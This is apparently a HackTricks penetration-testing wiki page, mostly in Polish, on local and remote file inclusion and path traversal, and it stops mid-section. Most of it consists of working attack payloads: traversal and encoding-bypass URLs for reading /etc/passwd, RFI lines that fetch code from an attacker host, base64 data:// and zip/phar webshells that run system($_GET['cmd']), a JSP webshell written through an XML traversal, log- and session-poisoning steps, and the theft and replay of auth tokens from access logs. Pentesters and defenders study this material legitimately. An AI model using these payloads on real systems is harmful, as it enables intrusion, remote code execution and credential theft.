File Inclusion/Path traversal

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

File Inclusion

Remote File Inclusion (RFI): Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod, a serwer go wykona). W php jest to wyłączone domyślnie (allow_url_include).
Local File Inclusion (LFI): Serwer ładuje lokalny plik.

Ta podatność występuje, gdy użytkownik w pewien sposób może kontrolować plik, który zostanie załadowany przez serwer.

Podatne PHP functions: require, require_once, include, include_once

Przydatne narzędzie do wykorzystania tej podatności: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Łącząc kilka *nix LFI list i dodając więcej ścieżek, stworzyłem tę:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Spróbuj także zmienić / na \
Spróbuj także dodać ../../../../../

Listę, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy podatność istnieje), można znaleźć tutaj

Windows

Połączenie różnych wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Spróbuj także zmienić / na \
Spróbuj także usunąć C:/ i dodać ../../../../../

Listę, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy podatność istnieje), można znaleźć tutaj

OS X

Sprawdź listę LFI dla Linux.

Podstawowe LFI i obejścia

Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences usuwane bez rekurencji

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass dopisania dodatkowych znaków na końcu podanego ciągu (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

To jest naprawione od PHP 5.4

Kodowanie

Możesz użyć niestandardowych kodowań, np. double URL encode (i innych):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Nowoczesne silniki HTML-to-PDF (np. TCPDF lub wrappery takie jak html2pdf) chętnie parsują HTML, SVG, CSS i URL-e czcionek dostarczone przez atakującego, a jednocześnie działają w zaufanych sieciach backendowych z dostępem do systemu plików. Gdy możesz wstrzyknąć HTML do $pdf->writeHTML()/Html2Pdf::writeHTML(), często możesz exfiltrate lokalne pliki, które konto serwera WWW może odczytać.

  • Fingerprint the renderer: każdy wygenerowany PDF zawiera pole Producer (np. TCPDF 6.8.2). Znajomość dokładnej wersji pozwala ustalić, jakie filtry ścieżek istnieją i czy dekodowanie URL odbywa się przed walidacją.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() odczytuje atrybut xlink:href z elementów <image> przed uruchomieniem urldecode(). Osadzenie złośliwego SVG wewnątrz data URI powoduje, że wiele HTML sanitizers ignoruje payload, podczas gdy TCPDF nadal go parsuje:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF dopisuje $_SERVER['DOCUMENT_ROOT'] do ścieżek zaczynających się od /, a dopiero później rozwiązuje .., więc użyj wiodących segmentów ../../.. lub /../../.., aby przejść poza root po tym dopisaniu.

  • Encoding to bypass naive filters: Versions ≤6.8.2 only check for the literal substring ../ before decoding the URL. Sending ..%2f (or ..%2F) in the SVG or in a raw <img src> attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls urldecode().
  • Double-encoding for multi-stage decoding: If user input is decoded by the web framework and by TCPDF, double-encode the slash (%252f). One decode turns it into %2f, the second decode in TCPDF turns it into /, yielding /..%252f../../../../… without ever showing ../ to the early filter.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() contains the same order-of-operations bug, allowing direct HTML payloads such as src="%2f..%252f..%252ftmp%252fsecret.png" to read any locally reachable bitmap.

This technique leaks anything readable by the PDF worker (skany paszportów, API keys renderowane jako obrazy, itd.). Hardeners naprawili to w 6.9.1, kanonizując ścieżki (isRelativePath()), więc podczas testów priorytetowo traktuj starsze wersje Producer.

Z istniejącego folderu

Być może back-end sprawdza ścieżkę katalogu:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Eksploracja katalogów systemu plików na serwerze

System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje określenie głębokości katalogu i sondowanie istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć:

  1. Określ głębokość katalogu: Ustal głębokość bieżącego katalogu przez pomyślne pobranie pliku /etc/passwd (dotyczy, jeśli serwer jest oparty na Linuxie). Przykładowy URL może być zbudowany w następujący sposób, wskazując głębokość trzy:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sprawdź foldery: Dodaj nazwę podejrzanego folderu (np. private) do URL, a następnie wróć do /etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Zinterpretuj wyniki: Odpowiedź serwera wskazuje, czy folder istnieje:
  • Błąd / brak wyjścia: Folder private najprawdopodobniej nie istnieje w podanej lokalizacji.
  • Zawartość /etc/passwd: Potwierdza istnienie folderu private.
  1. Rekurencyjne eksplorowanie: Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).

Aby przeszukać katalogi w innych lokalizacjach systemu plików, dostosuj payload odpowiednio. Na przykład, żeby sprawdzić czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog jest na głębokości 3), użyj:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation to metoda stosowana do manipulowania ścieżkami plików w aplikacjach webowych. Często używa się jej do uzyskania dostępu do plików z ograniczeniami, omijając mechanizmy bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmianie przez mechanizm bezpieczeństwa dalej wskazuje na docelowy plik.

W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na charakter systemu plików. Na przykład:

  • /etc/passwd, /etc//passwd, /etc/./passwd, oraz /etc/passwd/ są traktowane jako ta sama ścieżka.
  • Gdy ostatnie 6 znaków to passwd, dopisanie / (tworząc passwd/) nie zmienia adresowanego pliku.
  • Podobnie, jeśli do ścieżki dopisano .php (np. shellcode.php), dodanie na końcu /. nie zmieni pliku, do którego uzyskuje się dostęp.

Poniższe przykłady pokazują, jak wykorzystać path truncation do dostępu do /etc/passwd, częstego celu ze względu na jego poufną zawartość (informacje o kontach użytkowników):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

W tych scenariuszach liczba potrzebnych przejść katalogów (../) może wynosić około 2027, ale ta wartość może się różnić w zależności od konfiguracji serwera.

  • Using Dot Segments and Additional Characters: Sekwencje traversalu (../) w połączeniu z dodatkowymi segmentami kropkowymi i znakami mogą być użyte do nawigacji po systemie plików, efektywnie ignorując dołączone przez serwer ciągi znaków.
  • Determining the Required Number of Traversals: Metodą prób i błędów można ustalić precyzyjną liczbę sekwencji ../ potrzebnych do dotarcia do katalogu głównego, a następnie do /etc/passwd, zapewniając unieszkodliwienie wszelkich dołączonych ciągów (np. .php), przy jednoczesnym zachowaniu żądanej ścieżki (/etc/passwd).
  • Starting with a Fake Directory: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. a/). Technika ta stosowana jest jako środek ostrożności lub by spełnić wymagania logiki parsowania ścieżek przez serwer.

Podczas stosowania path truncation techniques kluczowe jest zrozumienie sposobu parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często niezbędne, by znaleźć najbardziej efektywną metodę.

This vulnerability was corrected in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

W php jest to domyślnie wyłączone, ponieważ allow_url_include jest Off. Musi być On, aby to działało — w takim przypadku możesz dołączyć plik PHP ze swojego serwera i uzyskać RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Jeśli z jakiegoś powodu allow_url_include jest On, ale PHP filtrował dostęp do zewnętrznych stron, według tego postu, możesz na przykład użyć protokołu data z base64, aby zdekodować b64 kod PHP i uzyskać RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

W poprzednim kodzie końcowy +.txt został dodany, ponieważ atakujący potrzebował ciągu zakończonego na .txt, więc ciąg kończy się tym, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany).

Another example not using the php:// protocol would be:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

W pythonie, w kodzie takim jak poniższy:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Jeśli użytkownik poda ścieżkę bezwzględną do file_name, poprzednia ścieżka jest po prostu usunięta:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

To zamierzone zachowanie zgodnie z the docs:

Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu ze ścieżką bezwzględną.

Java — listowanie katalogów

Wygląda na to, że jeśli masz Path Traversal w Java i poprosisz o katalog zamiast pliku, zwracana jest lista zawartości katalogu. To nie będzie miało miejsca w innych językach (o ile mi wiadomo).

Top 25 parametrów

Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) (z link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filters pozwalają na wykonywanie podstawowych operacji modyfikacji na danych zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Usuwa tagi z danych (wszystko między znakami “<” i “>”)
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Przekształca do innego kodowania (convert.iconv.<input_enc>.<output_enc>). Aby uzyskać listę wszystkich obsługiwanych kodowań, uruchom w konsoli: iconv -l

Warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Kompresuje zawartość (przydatne przy eksfiltracji dużej ilości danych)
  • zlib.inflate: Dekompresuje dane
  • Encryption Filters
  • mcrypt.* : przestarzałe
  • mdecrypt.* : przestarzałe
  • Other Filters
  • Uruchamiając w PHP var_dump(stream_get_filters()); możesz znaleźć kilka nieoczekiwanych filtrów:
  • consumed
  • dechunk: odwraca HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Część “php://filter” nie rozróżnia wielkości liter

Using php filters as oracle to read arbitrary files

In this post zaproponowano technikę czytania pliku lokalnego bez zwracania jego zawartości przez serwer. Technika ta opiera się na boolean exfiltration of the file (char by char) using php filters jako oracle. Dzieje się tak, ponieważ php filters można użyć, aby powiększyć tekst na tyle, że php zgłosi wyjątek.

W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj krótkie podsumowanie:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won’t delete it and the initial bomb will make php error.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn’t anymore a hexadecimal character, therefore dechunk doesn’t deleted it and the php error is triggered because it multiplies with the initial bomb.
  • Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

W poście również opublikowano narzędzie do automatycznego wykonania tego: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Możesz także użyć php://stdin, php://stdout and php://stderr aby uzyskać dostęp do deskryptorów plików 0, 1 i 2 odpowiednio (nie jestem pewien, jak mogłoby to być użyteczne w ataku)

zip:// and rar://

Wgraj plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.
Aby móc nadużyć protokołu rar, wymaga on specjalnego aktywowania.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Należy pamiętać, że ten protokół jest ograniczony konfiguracjami php allow_url_open i allow_url_include

expect://

Expect musi być aktywowany. Możesz wykonać kod przy użyciu tego:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Podaj payload w parametrach POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Plik .phar może być wykorzystany do uruchamiania kodu PHP, gdy aplikacja webowa używa funkcji takich jak include do ładowania plików. Poniższy fragment kodu PHP demonstruje tworzenie pliku .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Aby skompilować plik .phar, należy wykonać następujące polecenie:

php --define phar.readonly=0 create_path.php

Po uruchomieniu zostanie utworzony plik o nazwie test.phar, który potencjalnie można wykorzystać do wykorzystania podatności Local File Inclusion (LFI).

W przypadkach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP — przy użyciu funkcji takich jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() lub filesize() — można spróbować eksploatacji podatności typu deserialization. Ta podatność wiąże się z odczytem plików za pomocą protokołu phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Można było nadużyć any arbitrary file read from PHP that supports php filters aby uzyskać RCE. The detailed description can be found in this post.
Bardzo krótkie podsumowanie: a 3 byte overflow w heapie PHP został wykorzystany do alter the chain of free chunks określonego rozmiaru, aby móc write anything in any address, więc dodano hook wywołujący system.
Możliwe było alokowanie chunków o konkretnych rozmiarach poprzez nadużycie kolejnych php filters.

More protocols

Sprawdź więcej możliwych protocols to include here:

  • php://memory and php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w ataku file inclusion)
  • file:// — Dostęp do lokalnego systemu plików
  • http:// — Dostęp do URLi HTTP(s)
  • ftp:// — Dostęp do URLi FTP(s)
  • zlib:// — Strumienie kompresji
  • glob:// — Znajdowanie nazw ścieżek pasujących do wzorca (nie zwraca nic czytelnego, więc niezbyt przydatne tutaj)
  • ssh2:// — Secure Shell 2
  • ogg:// — Strumienie audio (nieprzydatne do czytania dowolnych plików)

LFI via PHP’s ‘assert’

Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji ‘assert’, która może wykonywać kod zawarty w łańcuchach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal, takie jak “..”, jest sprawdzane, ale nieprawidłowo oczyszczane.

Na przykład, kod PHP może być zaprojektowany, aby zapobiegać directory traversal w następujący sposób:

assert("strpos('$file', '..') === false") or die("");

Chociaż ma to na celu zapobieganie traversal, niezamierzenie tworzy wektor do code injection. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:

' and die(highlight_file('/etc/passwd')) or '

Podobnie, do wykonywania dowolnych poleceń systemowych można użyć:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Ta technika ma zastosowanie w przypadkach, gdy kontrolujesz ścieżkę pliku przekazywaną do funkcji PHP, która będzie uzyskiwać dostęp do pliku, ale nie zobaczysz zawartości pliku (np. proste wywołanie file()), gdy zawartość nie jest wyświetlana.

W this incredible post wyjaśniono, jak blind path traversal można wykorzystać przy użyciu PHP filter, aby exfiltrate the content of a file via an error oracle.

Podsumowując, technika polega na użyciu kodowania “UCS-4LE” aby sprawić, że zawartość pliku będzie tak duża, że funkcja PHP otwierająca plik wywoła błąd.

Następnie, aby uzyskać pierwszy znak (leak), używany jest filtr dechunk wraz z innymi, takimi jak base64 czy rot13, a ostatecznie stosuje się filtry convert.iconv.UCS-4.UCS-4LE oraz convert.iconv.UTF16.UTF-16BE, aby umieścić inne znaki na początku i (leak) je.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez kanonizacji i walidacji, segmenty .. i ścieżki bezwzględne mogą uciec z zamierzonego katalogu i spowodować arbitralne zapisanie pliku. Jeśli możesz umieścić payload w katalogu udostępnionym w sieci, zazwyczaj uzyskasz nieautoryzowane RCE poprzez wrzucenie webshell.

Typowy przebieg eksploatacji:

  • Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
  • Browse to the dropped payload and execute commands.

Uwagi:

  • The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
  • On Java stacks, these file writes are often implemented with simple File/Paths concatenation. Lack of canonicalisation/allow-listing is the core flaw.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Wzmocnienia, które zapobiegają temu typowi błędów:

  • Rozwiązuj do ścieżki kanonicznej i wymuszaj, żeby była potomkiem katalogu bazowego znajdującego się na liście dozwolonych.
  • Odrzucaj każdą ścieżkę zawierającą .., korzenie absolutne lub litery dysków; preferuj generowane nazwy plików.
  • Uruchamiaj proces zapisujący jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów udostępnianych.

Remote File Inclusion

Wyjaśniono wcześniej, follow this link.

Przez plik logów Apache/Nginx

Jeśli serwer Apache lub Nginx jest podatny na LFI w funkcji include, możesz spróbować uzyskać dostęp do /var/log/apache2/access.log or /var/log/nginx/access.log, umieścić w user agent lub w GET parameter php shell taki jak <?php system($_GET['c']); ?> i dołączyć ten plik

Warning

Zwróć uwagę, że jeżeli użyjesz podwójnych cudzysłowów dla shell zamiast pojedynczych, podwójne cudzysłowy zostaną zmienione na ciąg “quote;”, PHP zgłosi błąd i nic więcej nie zostanie wykonane.

Upewnij się również, że poprawnie zapisujesz payload albo PHP będzie zgłaszać błąd za każdym razem, gdy spróbuje załadować plik logu i nie będziesz mieć drugiej szansy.

To można też zrobić w innych logach, ale uważaj, że kod wewnątrz logów może być URL encoded i to może zniszczyć Shell. Nagłówek authorisation “basic” zawiera “user:password” w Base64 i jest dekodowany w logach. PHPShell można wstawić wewnątrz tego nagłówka.
Inne możliwe ścieżki logów:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Czytanie access logs, aby pozyskać GET-based auth tokens (token replay)

Wiele aplikacji błędnie akceptuje session/auth tokens przekazywane przez GET (np. AuthenticationToken, token, sid). Jeśli posiadasz path traversal/LFI pozwalające na odczyt web server logs, możesz ukraść te tokeny z access logs i replayować je, aby w pełni obejść authentication.

How-to:

  • Użyj path traversal/LFI, aby odczytać web server access log. Typowe lokalizacje:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Niektóre endpointy zwracają odczyty plików zakodowane jako Base64. Jeśli tak, zdekoduj je lokalnie i przejrzyj linie logu.
  • Grep w celu znalezienia GET requests zawierających token parameter, przechwyć jego wartość, następnie replayuj ją do application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Zdekoduj body, jeśli jest Base64, a następnie replay przechwyconego tokena:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Uwagi:

  • Tokeny w URLs są logowane domyślnie; nigdy nie akceptuj bearer tokens przez GET w production systems.
  • Jeśli aplikacja obsługuje wiele nazw tokenów, wyszukaj typowe klucze takie jak AuthenticationToken, token, sid, access_token.
  • Wymień wszystkie tokeny, które mogły zostać leaked do logs.

Przez Email

Wyślij mail na wewnętrzne konto (user@localhost) zawierający Twój PHP payload jak <?php echo system($_REQUEST["cmd"]); ?> i spróbuj include’ować mail użytkownika ścieżką taką jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>

Przez /proc//fd/

  1. Wgraj dużo shells (na przykład: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, gdzie $PID = PID procesu (może być brute forced) a $FD = file descriptor (może być brute forced też)

Przez /proc/self/environ

Podobnie jak w przypadku pliku log, wyślij payload w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Przez upload

Jeśli możesz wykonać upload pliku, po prostu wstrzyknij w niego shell payload (np.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Aby plik był czytelny, najlepiej wstrzyknąć go do metadanych obrazów/doc/pdf

Przez przesłanie pliku ZIP

Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Przez sesje PHP

Sprawdź, czy strona używa sesji PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

W PHP sesje te są przechowywane w /var/lib/php5/sess\[PHPSESSID]_ plikach

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ustaw cookie na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Użyj LFI, aby dołączyć plik sesji PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Przez ssh

Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa

Przez vsftpd logi

Logi serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, w którym występuje Local File Inclusion (LFI) i dostęp do wystawionego serwera vsftpd jest możliwy, można rozważyć następujące kroki:

  1. Wstrzyknij payload PHP w pole username podczas procesu logowania.
  2. Po wstrzyknięciu wykorzystaj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.

Przez php base64 filter (używając base64)

As shown in this article, PHP base64 filter just ignore Non-base64. Możesz to wykorzystać, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na “.php”, filter po prostu zignoruje “.” i dołączy “php” do base64. Oto przykładowy payload:

